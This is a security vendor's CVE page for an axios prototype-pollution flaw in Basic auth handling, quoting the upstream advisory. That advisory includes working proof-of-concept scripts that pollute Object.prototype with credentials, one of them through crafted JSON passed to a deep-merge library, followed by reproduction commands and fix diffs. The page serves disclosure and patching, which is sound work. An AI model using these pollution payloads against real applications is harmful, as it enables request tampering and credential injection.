HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 67314 axios prototype pollution auth subfields can
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright © 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
Medium · CVSS 6.5CVE-2026-67314GHSA-XJ6Q-8X83-JV6G

Axios: Prototype pollution auth subfields can inject Basic authCVE-2026-67314

Answer in brief

CVE-2026-67314 records a Medium severity (CVSS 6.5) vulnerability in Axios: Prototype pollution auth subfields can inject Basic auth. The current sources do not mark it as known exploited. The current feed maps axios (npm), axios (npm). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Jul 20, 2026Updated Sep 10, 2026Source checked Oct 21, 2026First seen by HOL Aug 3, 2026Material review Sep 10, 2026
Upstream Advisory

Record context

Vulnerability class
CSRF
EPSS
Not reported
CWE IDs
CWE-1321
Source
GitHub Security Advisories
Source checked
Oct 21, 2026
References
8 linked sources
Open source record

Key facts

Risk
Medium · CVSS 6.5
Exploitation
Not marked as known exploited
Affected software
3 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 6.5. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps axios (npm), axios (npm). Check affected ranges and fixed versions before updating.

Affected products and reported versions
ProductAffected versionsFixed versions
cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*Not reportedNot reported
Mapped affected packages and fixed versions
PackageAffected rangeFixed version
axiosnpm>=1.15.2,<1.18.01.18.0
axiosnpm>=1.15.2 <1.18.01.18.0

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for axios, axios.
  2. 2Review the reported fix. Update axios to 1.18.0; axios to 1.18.0 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Jul 20, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Sep 10, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Aug 3, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
  • Source referencevulncheck.com
  • GitHub security advisorygithub.com
Upstream source description

## Summary Axios versions after the `GHSA-q8qp-cvcw-x6jj` fix still contain prototype-pollution read-side gadgets in Basic auth subfield handling. If a host application is already affected by prototype pollution and then makes an axios request with an own `auth` object that omits `username` or `password`, axios reads inherited `Object.prototype.username` and `Object.prototype.password` values and uses them to construct an outbound `Authorization: Basic ...` header. This does not mean axios itself pollutes prototypes. Exploitation requires a separate prototype-pollution primitive in the host process, plus an axios call pattern such as `auth: opts.auth || {}`. ## Impact An attacker who can pollute `Object.prototype.username` and/or `Object.prototype.password` can influence the Basic auth header on affected axios requests that pass an empty or partial own `auth` object. The practical impact is outbound request tampering. The attacker can inject attacker-chosen Basic auth credentials, replace an existing `Authorization` header because axios removes it when `auth` is used, or cause downstream authorization failures. This should not be described as automatic credential exfiltration. In the minimal reproduced case, the Basic auth values are attacker-controlled values, not secrets read from axios. Credential disclosure requires an additional application-specific condition, such as a request destination observable by the attacker and a partial real auth object with a missing polluted subfield. ## Affected Functionality Affected functionality: - Node HTTP adapter Basic auth handling in `lib/adapters/http.js`. - Browser, web worker, React Native, and fetch shared resolver Basic auth handling in `lib/helpers/resolveConfig.js`. - Requests where `config.auth` is an own object but `username` and/or `password` are absent own properties. Unaffected or not accepted as core impact: - Requests with no own `auth` object after `mergeConfig()`. - Requests with own `auth.username` and `auth.password` values. - Normal axios request flow for inherited top-level `params` / `paramsSerializer` after the null-prototype `mergeConfig()` hardening. - Attacker-controlled `paramsSerializer` functions from JSON-only prototype pollution, because JSON pollution cannot create functions. If attacker-controlled code can install functions in the process, that is outside axios’ runtime boundary. ## Technical Details `mergeConfig()` returns a null-prototype top-level config object, which prevents top-level reads such as `config.auth` from inheriting polluted values. However, nested plain objects returned by `utils.merge()` still have `Object.prototype`. In `lib/adapters/http.js`, axios correctly reads the top-level `auth` value through `own('auth')`, but then reads subfields directly: ```js const configAuth = own('auth'); if (configAuth) { const username = configAuth.username || ''; const password = configAuth.password || ''; auth = username + ':' + password; } ``` If the caller passes auth: {} and Object.prototype.username/password are polluted, those direct subfield reads walk the prototype chain. The same pattern exists in `lib/helpers/resolveConfig.js`: ```js if (auth) { headers.set( 'Authorization', 'Basic ' + btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) ); } ``` The fix should guard `username` and `password` with `utils.hasOwnProp`, matching the proxy-auth pattern already used elsewhere. ## Proof of Concept of Attack Safe local PoC against published `[email protected]`: ```js const http = require('node:http'); const axios = require('axios'); Object.prototype.username = 'victim-user'; Object.prototype.password = 'victim-password-leaked'; const server = http.createServer((req, res) => { console.log({ url: req.url, authorization: req.headers.authorization || null }); res.end('{}'); server.close(() => { delete Object.prototype.username; delete Object.prototype.password; }); }); server.listen(0, '127.0.0.1', async () => { await axios.get(`http://127.0.0.1:${server.address().port}/api`, { auth: {} }); }); ``` Expected output: ```json { "url": "/api", "authorization": "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==" } ``` The base64 value decodes to `victim-user:victim-password-leaked`. ## Workarounds Avoid passing empty or partial `auth` objects. Only set `auth` when the application has own username and password values. Applications that merge untrusted input should filter `__proto__`, `constructor`, and `prototype`, and should read optional user options with own-property checks rather than `opts.auth || {}`. Where a wrapper must materialize optional auth, use a null-prototype object or explicitly copy only own fields. <details> <summary>Original Report</summary> ### Summary After [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) (shipped in `v1.15.2`) and the further proxy-side hardening in [PR #10833](https://github.com/axios/axios/pull/10833) (merged 2026-05-02), the **top-level** `config.auth` and the **proxy auth**sub-fields are correctly read via `utils.hasOwnProp`. The **regular request auth sub-fields** (`config.auth.username` and `config.auth.password`) and the **`config.params` / `config.paramsSerializer`** reads inside `resolveConfig.js` are still unguarded against a polluted `Object.prototype`. When a polluted host process makes an axios call with the common "optional override" pattern (`auth: opts.auth || {}` — an empty own `{}`), the sub-field reads `configAuth.username` and `configAuth.password` walk the prototype chain and return the attacker-controlled values. Same for `params` and `paramsSerializer`. The outbound HTTP request then carries an attacker-chosen `Authorization: Basic <base64>` header and an attacker-chosen querystring, leaking credentials and exfiltrating data to whichever host the request goes to (often attacker-influenced too — i.e. the amplifier is wired into many credential-stuffing chains). Reproduces against `axios` `main` HEAD (`34723be`, dated 2026-05-24) as well as the released `v1.16.1`. ### Details **Three still-unguarded read sites** on `main` HEAD: **(1) `lib/adapters/http.js` lines 737–740** (Node http adapter): ```js const configAuth = own('auth'); // ← top-level guard OK if (configAuth) { const username = configAuth.username || ''; // ← reads .username on the inherited chain const password = configAuth.password || ''; // ← reads .password on the inherited chain auth = username + ':' + password; } ``` `own('auth')` correctly applies `hasOwnProp` to the top-level `auth` key. But once `configAuth` is the empty object the caller passed (`auth: {}`), `configAuth.username` walks the prototype chain and picks up `Object.prototype.username`. Contrast with the proxy-auth path that PR #10833 fixed (lines 322–324): ```js const authUsername = authIsObject && utils.hasOwnProp(proxyAuth, 'username') ? proxyAuth.username : undefined; const authPassword = authIsObject && utils.hasOwnProp(proxyAuth, 'password') ? proxyAuth.password : undefined; ``` This is the exact pattern needed at lines 739–740 too. **(2) `lib/helpers/resolveConfig.js` lines 50 + 68** (xhr/fetch adapter shared resolver): ```js const auth = own('auth'); // ← top-level guard OK ... btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) // ^ .username and .password read directly on `auth`, no hasOwnProp guard ``` Same shape — top-level guarded, sub-fields walk prototype. **(3) `lib/helpers/resolveConfig.js` lines 58–59** (params + paramsSerializer): ```js newConfig.url = buildURL( buildFullPath(baseURL, url, allowAbsoluteUrls), config.params, // ← direct read, not through own() config.paramsSerializer // ← direct read, not through own() ); ``` This third site is already proposed for fix in **open** [PR #10922](https://github.com/axios/axios/pull/10922) by @Mohammad-Faiz-Cloud-Engineer (status: open, currently mergeable: false). That PR's `own('params')` / `own('paramsSerializer')` change is exactly correct; this report flags the auth sub-field sites that PR #10922 does **not** cover. ### PoC This PoC contains zero direct `Object.prototype.x = y` writes. The pollution flows entirely from attacker-shaped JSON through a real deep-merge utility (`[email protected]`, ~50k weekly downloads, still walks `constructor.prototype`). A hand-rolled deep merge — the canonical insecure backend pattern — exhibits the same pollution via `__proto__` and is more common in real codebases than any named utility. ```js #!/usr/bin/env node 'use strict'; const http = require('node:http'); const axios = require('axios'); const defaultsDeep = require('defaults-deep'); // Defensive: scrub any prior pollution const PROTO_KEYS = ['username', 'password', 'params', 'paramsSerializer']; function scrub() { for (const k of PROTO_KEYS) { try { delete Object.prototype[k]; } catch (_) {} } } scrub(); // 1) Attacker input — what JSON.parse(req.body) would yield from an HTTP POST const attackerBody = JSON.parse(`{ "constructor": { "prototype": { "username": "victim-user", "password": "victim-password-leaked", "params": {"leak": "ATTACKER_QUERY_TOKEN"} } } }`); // 2) Realistic application pattern: merge user options into defaults const appDefaults = { timeout: 5000 }; defaultsDeep(appDefaults, attackerBody); // After this line: // Object.prototype.username === "victim-user" // Object.prototype.password === "victim-password-leaked" // Object.prototype.params === { leak: "ATTACKER_QUERY_TOKEN" } // 3) Capture outbound request on a local listener const server = http.createServer((req, res) => { console.log('=== captured outbound request ==='); console.log(JSON.stringify({ method: req.method, url: req.url, authorization: req.headers.authorization || null, }, null, 2)); res.end('{}'); server.close(); scrub(); }); server.listen(0, '127.0.0.1', () => { const port = server.address().port; // 4) Realistic application wrapper: optional per-call overrides. // `auth: opts.auth || {}` is the common pattern — empty own object, // but inherited values walk the prototype chain. function makeRequest(targetUrl, opts = {}) { return axios.get(targetUrl, { timeout: 5000, auth: opts.auth || {}, params: opts.params || {}, }); } makeRequest(`http://127.0.0.1:${port}/api/widget`).catch((e) => { console.error('axios error:', e.message); scrub(); process.exit(1); }); }); ``` Reproduction: ```bash mkdir /tmp/axios-poc && cd /tmp/axios-poc npm init -y npm install [email protected] [email protected] node /path/to/poc.cjs ``` Captured output (verified against released `1.16.1` AND against `main` at `34723be`, 2026-05-24): ```json { "method": "GET", "url": "/api/widget?leak=ATTACKER_QUERY_TOKEN", "authorization": "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==" } ``` `dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==` base64-decodes to `victim-user:victim-password-leaked`. The querystring carries `?leak=ATTACKER_QUERY_TOKEN`, which can be a full data-exfil channel in real chains (CSRF token, session cookie via `req.headers`, etc.). ### Impact - **Credential exfiltration** via Basic auth header on the outbound request. If the request URL is attacker-influenced too (common in webhook/oauth-callback patterns), the credentials flow directly to the attacker. If not, they flow to the legitimate destination but expose victim credentials in any logs / proxies along the path. - **Outbound request-shape control** via inherited `params` / `paramsSerializer`. With `paramsSerializer` polluted to an attacker function, axios will execute that function with each `params` invocation — same-process code execution from a pollution primitive. - **Amplifier framing** is still correct. The application-side precondition is "deep-merges attacker JSON into a config object without `__proto__`/`constructor` filtering, then uses the empty- fallback wrapper `auth: opts.auth || {}` / `params: opts.params || {}`." Both halves are very common in real codebases (we tested `defaults-deep`, hand-rolled merges, and several lodash-family utilities; many still pollute). - **CWE-1321** (Improperly Controlled Modification of Object Prototype Attributes — amplifier sink). ### Proposed fix Two-line change in `http.js`, matching the proxy-auth pattern PR #10833 already established: ```diff --- a/lib/adapters/http.js +++ b/lib/adapters/http.js @@ -737,8 +737,10 @@ const configAuth = own('auth'); if (configAuth) { - const username = configAuth.username || ''; - const password = configAuth.password || ''; + const username = utils.hasOwnProp(configAuth, 'username') ? (configAuth.username || '') : ''; + const password = utils.hasOwnProp(configAuth, 'password') ? (configAuth.password || '') : ''; auth = username + ':' + password; } ``` Same pattern in `resolveConfig.js`: ```diff --- a/lib/helpers/resolveConfig.js +++ b/lib/helpers/resolveConfig.js @@ -64,7 +64,11 @@ // HTTP basic authentication if (auth) { + const authUsername = utils.hasOwnProp(auth, 'username') ? (auth.username || '') : ''; + const authPassword = utils.hasOwnProp(auth, 'password') ? auth.password : ''; headers.set( 'Authorization', 'Basic ' + - btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) + btoa(authUsername + ':' + (authPassword ? encodeUTF8(authPassword) : '')) ); } ``` The **`params` / `paramsSerializer`** half is already handled by open PR #10922's `own('params')` / `own('paramsSerializer')` change — that PR should be rebased / merged. ### Relationship to recent prototype-pollution work Same vulnerability class as the existing public hardening, just at sub-field granularity: - [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) — `mergeConfig` direct-key reads. **Fixed in v1.15.2.** - [PR #10761](https://github.com/axios/axios/pull/10761) — `mergeDirectKeys` `in` → `hasOwnProp`. **Fixed in v1.15.x.** - [PR #10833](https://github.com/axios/axios/pull/10833) — proxy `auth.username/password` sub-fields. **Fixed post-1.16.1.** - [PR #7413](https://github.com/axios/axios/pull/7413) — `formDataToJSON` defense-in-depth. **Fixed post-1.16.1.** - [PR #10901](https://github.com/axios/axios/pull/10901) — `socketPath` guard. **Merged 2026-05-24.** - [PR #10922 (OPEN)](https://github.com/axios/axios/pull/10922) — `params` / `paramsSerializer` `own()` guard. **Proposed; not merged.** This report adds: regular-request `auth.username` / `auth.password` sub-field reads in both the http adapter (lines 737–740) and resolveConfig.js (line 68). ### Reporter notes - Reported as part of a small peer-review bundle of runtime security findings. The bundle's public tracking entry (without the working exploit chain) is at [`georgian-io/package-runtime-security-findings/advisories/AXIOS-002-prototype-pollution-config-fields.md`](https://github.com/georgian-io/package-runtime-security-findings/blob/main/advisories/AXIOS-002-prototype-pollution-config-fields.md). - I'm happy to submit the patch as a PR if that helps. Or, if you'd prefer to fold this into open PR #10922 (whose author is actively responding to comments), please let me know and I'll coordinate. - Threat model honesty: this is **amplifier framing** — exploitation requires a separate prototype-pollution primitive elsewhere in the host process. That's how the existing GHSA-q8qp-cvcw-x6jj and PR #10833 were framed too, so the precedent for "in-scope as a hardening fix" is established. </details>

Quoted source text, attributed separately from HOL analysis.